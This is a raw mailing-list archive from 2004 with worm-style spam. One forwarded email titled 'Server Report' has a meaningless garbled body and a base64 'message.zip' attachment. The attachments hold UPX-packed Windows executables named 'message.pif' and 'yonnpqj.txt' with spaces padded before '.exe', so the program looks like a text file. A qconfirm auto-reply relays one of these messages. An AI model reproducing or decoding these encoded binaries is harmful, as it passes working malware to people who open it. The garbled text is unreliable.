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 //8AAACIiIgAAAAACId3d3iAAAB4//+Ih3AAAHj3j///eAAAeP////94AAB493d4/3gAAHj///// eAAAePd3eP94AAB4/////3gAAHj3d4//eAAAeP////94AAB4/////3gAAHh/f39/eAAAh3OHh4eA AAAHszt7d4AAAAAAAACAAADwPwAA4AcAAMAHAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAA wAMAAMADAADAAwAAwAcAAOAHAAD/3wAA2JEAAAAAAQABABAQEAABAAQAKAEAAAEAAAAAAAAAAAAA AAAAkMIAAGDCAAAAAAAAAAAAAAAAAACdwgAAcMIAAAAAAAAAAAAAAAAAAKrCAAB4wgAAAAAAAAAA AAAAAAAAtcIAAIDCAAAAAAAAAAAAAAAAAADAwgAAiMIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAysIA ANjCAADowgAAAAAAAPbCAAAAAAAABMMAAAAAAAAMwwAAAAAAAHMAAIAAAAAAS0VSTkVMMzIuRExM AEFEVkFQSTMyLmRsbABNU1ZDUlQuZGxsAFVTRVIzMi5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJh cnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtleQAAAG1lbXNldAAA d3NwcmludGZBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAABdbTswyicfngBYAAAAWAAAVQAAAAAAAAAAACAAAAAA AAAAeW9ubnBxai50eHQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgLmV4ZVBLBQYAAAAAAQABAIMAAABzWAAAAAA= ------=_NextPart_000_0013_10681948.DEF5D9B7-- From MAILER-DAEMON Tue Jan 27 05:10:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlSzR-0002VI-3E for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 05:10:49 -0800 Received: from sunsite.dk ([130.225.247.90]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1AlSzP-0003w3-Sf for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 05:10:48 -0800 Received: (qmail 18032 invoked by alias); 27 Jan 2004 13:10:45 -0000 Message-ID: <20040127131045.18031.qmail@sunsite.dk> From: "qconfirm" To: clisp-list@lists.sourceforge.net X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 FROM_HAS_MIXED_NUMS From: contains numbers mixed in with letters 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Please confirm your message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 27 09:31:29 2004 X-Original-Date: 27 Jan 2004 13:10:45 -0000 Hello, this is the qconfirm mail-handling program. One or more messages from you are being held because your address was not recognized. To release your pending message(s) for delivery, please reply to this request. Your reply will not be read, so an empty message is fine. If you do not reply to this request, your message(s) will eventually be returned to you, and will never be delivered to the envelope recipient. This confirmation verifies that your message(s) are legitimate and not junk-mail. Regards, the qconfirm program, http://smarden.org/qconfirm/ --- Below this line is the top of a message from you. Received: (qmail 18024 invoked from network); 27 Jan 2004 13:10:45 -0000 Received: from localhost (HELO sunsite.dk) (127.0.0.1) by localhost with SMTP; 27 Jan 2004 13:10:45 -0000 X-MessageWall-Score: 0 (sunsite.dk) Received: from [212.159.70.247] by sunsite.dk (MessageWall 1.0.8) with SMTP; 27 Jan 2004 13:10:43 -0000 From: clisp-list@lists.sourceforge.net To: zsh-users@sunsite.dk Subject: Server Report Date: Tue, 27 Jan 2004 13:10:53 +0000 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0002_BBFDE1FF.B7140A50" X-Priority: 3 X-MSMail-Priority: Normal ------=_NextPart_000_0002_BBFDE1FF.B7140A50 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Å/×a½ç»S uù~igClr¶ÃP“Ö!b…rÃUViåãÃÖßöØóq[ž\…&÷ÈZµ_M‰¾3­®ŒP^U­öÉÈBW¨3”ª¸ÑE±­B®/¹ì¤û‘zÞˆ¬’.îµ›NSŸë*À4o6à}éwVÄ)Có›êêzà±?CXùQg±JIoR“Ð̇(ø•ÊÞ|™bÏ}î_pY¤¢‰#Ô’~ÂZyéíB;žíY«[¥©æ¶Ddt÷\Ðo8{Я<ì—êñÑ 7Ît¹b˜0ìᚇÖÑLÔ‘ØÓw¹5ØUaÉÛ…‡6nÓnC‚MVÁì÷’ãoårq_¶‡ëœTÏx-¡;”Ñ’4w± ¨©„•†·Ãr´uhe*³Ð­ÑèH’AGlt˜ªs$xeüضzQ6Q-ïs#ªÈû¶W$ï<òL\àãœZÉfEÖ¢;Ô8Î>\ØF ¤Ì9r܇ì°M¿ÀKJÂâ±^SŸYüùí:ù~áPÔÝ…)/Ã3/«B-$ ÈjAw{“ž&fN­!*Ÿp}ÙgSON>·À}2ÇÝÑFÖ·’*w(†q“ZÄn¾s|&3õEC3£f ­¢¨ã°çQ•$%»ËEzÄÖO¡n— ®ml´øLι–“‹>Kã…j]:J23èÊ!(ªÓ¬Â|žòaûù}A ÇdZäíhÞgGm}5G|¯\?Û¶àðvi}¿}*GÅ‹#ºMÃ;<®ô‚¿3­ÚzgB.Š$»-nXñ˜e9‹Q’u×>HªŒ#Õ—ë|Œú©â¶ŠNޔЗjºH<ÈK”6Óa”EБ‚qgPÃ7‘AËðŽÏÄ„T‰ŸÁLW5ÒNücõÊwfZ’eë˜ü‡£4ïÔ“H£»¦g¤S¤ ¹«G2 ------=_NextPart_000_0002_BBFDE1FF.B7140A50 Content-Type: application/octet-stream; name="message.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="message.zip" UEsDBAoAAAAAAFppOzDKJx+eAFgAAABYAAALAAAAbWVzc2FnZS5waWZNWpAAAwAAAAQAAAD//wAA uAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAA AOAADwELAQcAAFAAAAAQAAAAYAAAYL4AAABwAAAAwAAAAABKAAAQAAAAAgAABAAAAAAAAAAEAAAA AAAAAADQAAAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOjBAAAw AQAAAMAAAOgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AFVQWDAAAAAAAGAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAABQAAAAcAAA AFAAAAAEAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAMAAAAAEAAAAVAAAAAAAAAAAAAAA AAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAxLjI0AFVQWCEMCQIJSH6Jj9Q2HIEplgAAU04AAACAAAAmAQDF7ocCkgBQJkoAQAP9smmaLBAE 9CXoAQBLzmmabtkfyCrAA7iwqKZpmqagmJCIgJqmaZp4cGhgWFDNYJ9pSABEBzgwNE3TdAMoJBwY ENMsu9cIIwP4KfDoTdM0TeDY0Mi8tDRN0zSspJyUjM42TdOIfHBoKW9cpumawQdUTANEOJqmaZos JBwUDARpms5t/Ch/A/Ts5KZpmqbc1MzIvJqmaZq0rKSgmJBnm6ZpjIB4cCh7aN5s03UHXANUTCj/ +wt2tvvjQA80KPcsLwOaphn5JChKHBQMBGmazuyb/CcD7OjgpmmaptjUzMjAmqZpurgnsKyooJhp mqZplIyIhHykaZqmdGxkXFRpmqYbTANEQDgwpmmapiggGBAImqZzmwD4Js8D6ODYZ5vObVQ0QwNA NDTbiv////+dWtDa5fQGHzNObHJO2AKXX5LIAT18vkNLluQ1ieA6l//////3WsAplQR262PeXN1h 6HL/jyK4Ue2MLtN7JtQNOfCqZ/////8n6rB5RRTmu5NuTC0R+OLPv7KooZ2cnqOrtsTV6QAaN/// //9XeqDJ9SRWi8P+PH3BCFKf70KY8U2sDnPbRrQlmRCKB/////+HCpAZpaWo/vLD0qj4EixKa4+2 4A09cKbfG1p84SdVyf////8SYL4YZdU4nhdz4lSJQbya4z/GUI1tAJZPy2oMsUN6sv////9zF86I RwXIilcj8sSZcUwuC+/WwK2dkIYPe3p8kYmUov////+zx976FTVYfqfDAjR5odwaW4/mMG3NIHbP K4r8Ubkkkv////8Dd+5o5WXobpeDg3aMlaGwwtfvCihJbZS+6xtOhL35OP////96vwdSoPFFbJZT 